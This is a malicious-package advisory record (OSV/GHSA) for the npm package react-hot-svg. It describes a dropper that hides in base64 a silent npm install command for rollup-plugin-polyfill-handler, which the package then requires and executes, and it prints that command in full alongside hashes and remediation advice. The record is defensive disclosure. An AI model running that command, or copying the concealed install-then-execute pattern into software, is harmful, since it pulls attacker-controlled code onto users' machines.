MAL-2026-10439

See a problem?
Import Source
https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/react-hot-svg/MAL-2026-10439.json
JSON Data
https://api.osv.dev/v1/vulns/MAL-2026-10439
Aliases
  • GHSA-46cj-57m5-r4wc
Published
2026-07-13T09:21:48Z
Modified
2026-08-04T23:05:25.851382157Z
Summary
Malicious code in react-hot-svg (npm)
Details

-= Per source details. Do not edit below this line.=-

Source: amazon-inspector (847fe0ea93982597b0611e6fd23f1b77af40b7162baf338659fbff8deb7fb051)

index.js in react-hot-svg 1.1.4 hides both a shell command and a package name as base64 strings named svgValidateKey and svgValidatePattern. When any of the exported API surface (getPlugin, setPlugin, validateSvgContent) is invoked, the code decodes svgValidateKey via atob to the string npm install rollup-plugin-polyfill-handler --no-save --silent --no-audit --no-fund, spawns it via child_process.spawn with stdio: 'ignore', and on process exit require()s the base64-decoded module name rollup-plugin-polyfill-handler and immediately invokes its .getPlugin()() function. The --no-save --silent --no-audit --no-fund flags suppress output and prevent the added dependency from appearing in package.json or the lockfile. The obfuscation of both the command and the required module name, the SVG-themed cover identifiers, and the pattern of installing-then-requiring-then-executing an undeclared external package match a dropper that lands and executes attacker-controlled code from a separate npm package on any consumer who uses this library's advertised API.

Source: ghsa-malware (142fce5a88732863240ca4dcef3cc274f3fd64dd4475beb3f1e8c8b98d43f31c)

Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.

Database specific 
{
    "malicious-packages-origins": [
        {
            "import_time": "2026-07-13T10:37:37.613201029Z",
            "source": "amazon-inspector",
            "versions": [
                "1.1.5"
            ],
            "id": "IN-MAL-2026-010205",
            "modified_time": "2026-07-13T09:22:10Z",
            "sha256": "7c59d0dbdaeea673db1067ec280a93ab744a5fb5f60ba8938698b46fbddcae7c"
        },
        {
            "import_time": "2026-07-13T10:37:37.34860253Z",
            "source": "amazon-inspector",
            "versions": [
                "1.1.4"
            ],
            "id": "IN-MAL-2026-010202",
            "modified_time": "2026-07-13T09:21:48Z",
            "sha256": "847fe0ea93982597b0611e6fd23f1b77af40b7162baf338659fbff8deb7fb051"
        },
        {
            "import_time": "2026-08-02T22:41:04.726618Z",
            "source": "ghsa-malware",
            "id": "GHSA-46cj-57m5-r4wc",
            "ranges": [
                {
                    "type": "SEMVER",
                    "events": [
                        {
                            "introduced": "0"
                        }
                    ]
                }
            ],
            "modified_time": "2026-07-31T16:10:05Z",
            "sha256": "142fce5a88732863240ca4dcef3cc274f3fd64dd4475beb3f1e8c8b98d43f31c"
        },
        {
            "import_time": "2026-08-04T22:30:04.817127725Z",
            "source": "amazon-inspector",
            "versions": [
                "1.1.8"
            ],
            "id": "IN-MAL-2026-011201",
            "modified_time": "2026-08-04T21:46:57Z",
            "sha256": "454bc08e81599b3336a2636ca29dad413dab4e67a62c2af29865b82bc7facef3"
        },
        {
            "import_time": "2026-08-04T22:30:04.853232545Z",
            "source": "amazon-inspector",
            "versions": [
                "1.1.7"
            ],
            "id": "IN-MAL-2026-011202",
            "modified_time": "2026-08-04T21:47:06Z",
            "sha256": "a98c9c198ecac952cff40a19ca8641461d1a4dd954cfba681447a29a1c55f321"
        }
    ]
}
References
Credits

Affected packages

npm / react-hot-svg

Package

Name
react-hot-svg
View open source insights on deps.dev
Purl
pkg:npm/react-hot-svg

Affected ranges

Type
SEMVER
Events
Introduced
0Unknown introduced version / All previous versions are affected

Affected versions

1.*
1.1.4
1.1.5
1.1.7
1.1.8

Database specific

source 
"https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/react-hot-svg/MAL-2026-10439.json"
indicators 
{
    "evidence_files": [
        {
            "path": "index.js",
            "tlsh": "0e2255911c8731228c72c7fe5d02841eeb8ed3273215619e7dbc92501f7a7a042aeeec",
            "sha256": "4ca08d88e0169cf0e26dc96f5b9810350c3d10e67dee7fc0ba457d329ff3fcdc"
        }
    ],
    "package_integrity": [
        {
            "filename": "react-hot-svg-1.1.5.tgz",
            "hashes": {
                "sha1": "c7b3985d9225728445abec3e521f3a8fcbebe0e0",
                "sha512_sri": "sha512-OlaXcnyeiAXYgZdj1SEXhjV5YnL0UTWICbfPziWx50687JxIhM2IbXqw9FxQboZ8gLjaAZd4Q7co+jeqvsqHYA=="
            }
        }
    ]
}
cwes 
[
    {
        "description": "The product contains code that appears to be malicious in nature.",
        "cweId": "CWE-506",
        "name": "Embedded Malicious Code"
    },
    {
        "description": "The product contains code that appears to be malicious in nature.",
        "cweId": "CWE-506",
        "name": "Embedded Malicious Code"
    },
    {
        "description": "The product contains code that appears to be malicious in nature.",
        "cweId": "CWE-506",
        "name": "Embedded Malicious Code"
    },
    {
        "description": "The product contains code that appears to be malicious in nature.",
        "cweId": "CWE-506",
        "name": "Embedded Malicious Code"
    },
    {
        "description": "The product contains code that appears to be malicious in nature.",
        "cweId": "CWE-506",
        "name": "Embedded Malicious Code"
    }
]